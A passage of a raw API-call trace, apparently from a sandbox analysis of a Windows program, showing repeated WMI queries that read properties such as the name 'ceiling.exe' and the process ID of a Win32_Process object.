pType=0x2e8b10c*=8, plFlavor=0x2e8b110*=64) returned 0x0 [0067.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.474] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.474] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.474] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8b174*=0, plFlavor=0x2e8b178*=0 | out: pVal=0x5e8e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8b174*=8, plFlavor=0x2e8b178*=64) returned 0x0 [0067.474] SysStringLen (param_1="Win32_Process") returned 0xd [0067.475] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8b174*=8, plFlavor=0x2e8b178*=64 | out: pVal=0x5e8e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8b174*=8, plFlavor=0x2e8b178*=64) returned 0x0 [0067.475] SysStringLen (param_1="Win32_Process") returned 0xd [0067.475] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.475] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.475] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.475] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.475] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.475] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.475] IWbemClassObject:GetNames (in: This=0x60fd808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e550 | out: pNames=0x5e8e550*="\x01ƀ\x04") returned 0x0 [0067.475] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.475] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.475] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e14c | out: plLbound=0x5e8e14c) returned 0x0 [0067.475] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bcb0*=0, plFlavor=0x2e8bcb4*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e8bcb0*=3, plFlavor=0x2e8bcb4*=64) returned 0x0 [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bce4*=0, plFlavor=0x2e8bce8*=0 | out: pVal=0x5e8e57c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8bce4*=8, plFlavor=0x2e8bce8*=64) returned 0x0 [0067.476] SysStringLen (param_1="Win32_Process") returned 0xd [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd38*=0, plFlavor=0x2e8bd3c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd38*=8, plFlavor=0x2e8bd3c*=64) returned 0x0 [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd60*=0, plFlavor=0x2e8bd64*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd60*=8, plFlavor=0x2e8bd64*=64) returned 0x0 [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd88*=0, plFlavor=0x2e8bd8c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bd88*=8, plFlavor=0x2e8bd8c*=64) returned 0x0 [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bdb0*=0, plFlavor=0x2e8bdb4*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e8bdb0*=3, plFlavor=0x2e8bdb4*=64) returned 0x0 [0067.476] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bde4*=0, plFlavor=0x2e8bde8*=0 | out: pVal=0x5e8e57c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e8bde4*=8200, plFlavor=0x2e8bde8*=64) returned 0x0 [0067.477] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SERVER", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be1c*=0, plFlavor=0x2e8be20*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be1c*=8, plFlavor=0x2e8be20*=64) returned 0x0 [0067.477] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be44*=0, plFlavor=0x2e8be48*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be44*=8, plFlavor=0x2e8be48*=64) returned 0x0 [0067.477] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be6c*=0, plFlavor=0x2e8be70*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8be6c*=8, plFlavor=0x2e8be70*=64) returned 0x0 [0067.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.477] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.477] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.477] IWbemClassObject:Get (in: This=0x60fd808, wszName="Name", lFlags=0, pVal=0x5e8e5b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bee4*=0, plFlavor=0x2e8bee8*=0 | out: pVal=0x5e8e5b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ceiling.exe", varVal2=0x0), pType=0x2e8bee4*=8, plFlavor=0x2e8bee8*=0) returned 0x0 [0067.477] SysStringLen (param_1="ceiling.exe") returned 0xb [0067.477] IWbemClassObject:Get (in: This=0x60fd808, wszName="Name", lFlags=0, pVal=0x5e8e670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8bee4*=8, plFlavor=0x2e8bee8*=0 | out: pVal=0x5e8e670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ceiling.exe", varVal2=0x0), pType=0x2e8bee4*=8, plFlavor=0x2e8bee8*=0) returned 0x0 [0067.477] SysStringLen (param_1="ceiling.exe") returned 0xb [0067.478] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.478] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.478] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.478] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.478] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.478] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.478] IWbemClassObject:GetNames (in: This=0x60fd808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e50c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e4d8 | out: pNames=0x5e8e4d8*="\x01ƀ\x04") returned 0x0 [0067.478] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.478] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.478] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8e0d4 | out: plLbound=0x5e8e0d4) returned 0x0 [0067.478] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c3b4*=0, plFlavor=0x2e8c3b8*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e8c3b4*=3, plFlavor=0x2e8c3b8*=64) returned 0x0 [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c3e8*=0, plFlavor=0x2e8c3ec*=0 | out: pVal=0x5e8e504*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8c3e8*=8, plFlavor=0x2e8c3ec*=64) returned 0x0 [0067.479] SysStringLen (param_1="Win32_Process") returned 0xd [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c43c*=0, plFlavor=0x2e8c440*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c43c*=8, plFlavor=0x2e8c440*=64) returned 0x0 [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c464*=0, plFlavor=0x2e8c468*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c464*=8, plFlavor=0x2e8c468*=64) returned 0x0 [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c48c*=0, plFlavor=0x2e8c490*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c48c*=8, plFlavor=0x2e8c490*=64) returned 0x0 [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c4b4*=0, plFlavor=0x2e8c4b8*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e8c4b4*=3, plFlavor=0x2e8c4b8*=64) returned 0x0 [0067.479] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c4e8*=0, plFlavor=0x2e8c4ec*=0 | out: pVal=0x5e8e504*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e8c4e8*=8200, plFlavor=0x2e8c4ec*=64) returned 0x0 [0067.480] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SERVER", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c520*=0, plFlavor=0x2e8c524*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c520*=8, plFlavor=0x2e8c524*=64) returned 0x0 [0067.480] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c548*=0, plFlavor=0x2e8c54c*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c548*=8, plFlavor=0x2e8c54c*=64) returned 0x0 [0067.480] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c570*=0, plFlavor=0x2e8c574*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c570*=8, plFlavor=0x2e8c574*=64) returned 0x0 [0067.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.480] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.480] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.480] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c5d8*=0, plFlavor=0x2e8c5dc*=0 | out: pVal=0x5e8e540*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e8c5d8*=19, plFlavor=0x2e8c5dc*=0) returned 0x0 [0067.480] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e5f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8c5d8*=19, plFlavor=0x2e8c5dc*=0 | out: pVal=0x5e8e5f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e8c5d8*=19, plFlavor=0x2e8c5dc*=0) returned 0x0 [0067.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.480] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.481] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.481] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.481] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.481] IWbemClassObject:GetNames (in: This=0x60fd808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.481] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.481] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.481] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.481] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d1b4*=0, plFlavor=0x2e8d1b8*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e8d1b4*=3, plFlavor=0x2e8d1b8*=64) returned 0x0 [0067.481] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d1e8*=0, plFlavor=0x2e8d1ec*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8d1e8*=8, plFlavor=0x2e8d1ec*=64) returned 0x0 [0067.481] SysStringLen (param_1="Win32_Process") returned 0xd [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d23c*=0, plFlavor=0x2e8d240*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d23c*=8, plFlavor=0x2e8d240*=64) returned 0x0 [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d264*=0, plFlavor=0x2e8d268*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d264*=8, plFlavor=0x2e8d268*=64) returned 0x0 [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d28c*=0, plFlavor=0x2e8d290*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d28c*=8, plFlavor=0x2e8d290*=64) returned 0x0 [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d2b4*=0, plFlavor=0x2e8d2b8*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e8d2b4*=3, plFlavor=0x2e8d2b8*=64) returned 0x0 [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d2e8*=0, plFlavor=0x2e8d2ec*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e8d2e8*=8200, plFlavor=0x2e8d2ec*=64) returned 0x0 [0067.482] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d320*=0, plFlavor=0x2e8d324*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d320*=8, plFlavor=0x2e8d324*=64) returned 0x0 [0067.483] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d348*=0, plFlavor=0x2e8d34c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d348*=8, plFlavor=0x2e8d34c*=64) returned 0x0 [0067.483] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d370*=0, plFlavor=0x2e8d374*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d370*=8, plFlavor=0x2e8d374*=64) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.483] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d3d8*=0, plFlavor=0x2e8d3dc*=0 | out: pVal=0x5e8e320*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e8d3d8*=19, plFlavor=0x2e8d3dc*=0) returned 0x0 [0067.483] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d3d8*=19, plFlavor=0x2e8d3dc*=0 | out: pVal=0x5e8e3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e8d3d8*=19, plFlavor=0x2e8d3dc*=0) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.483] 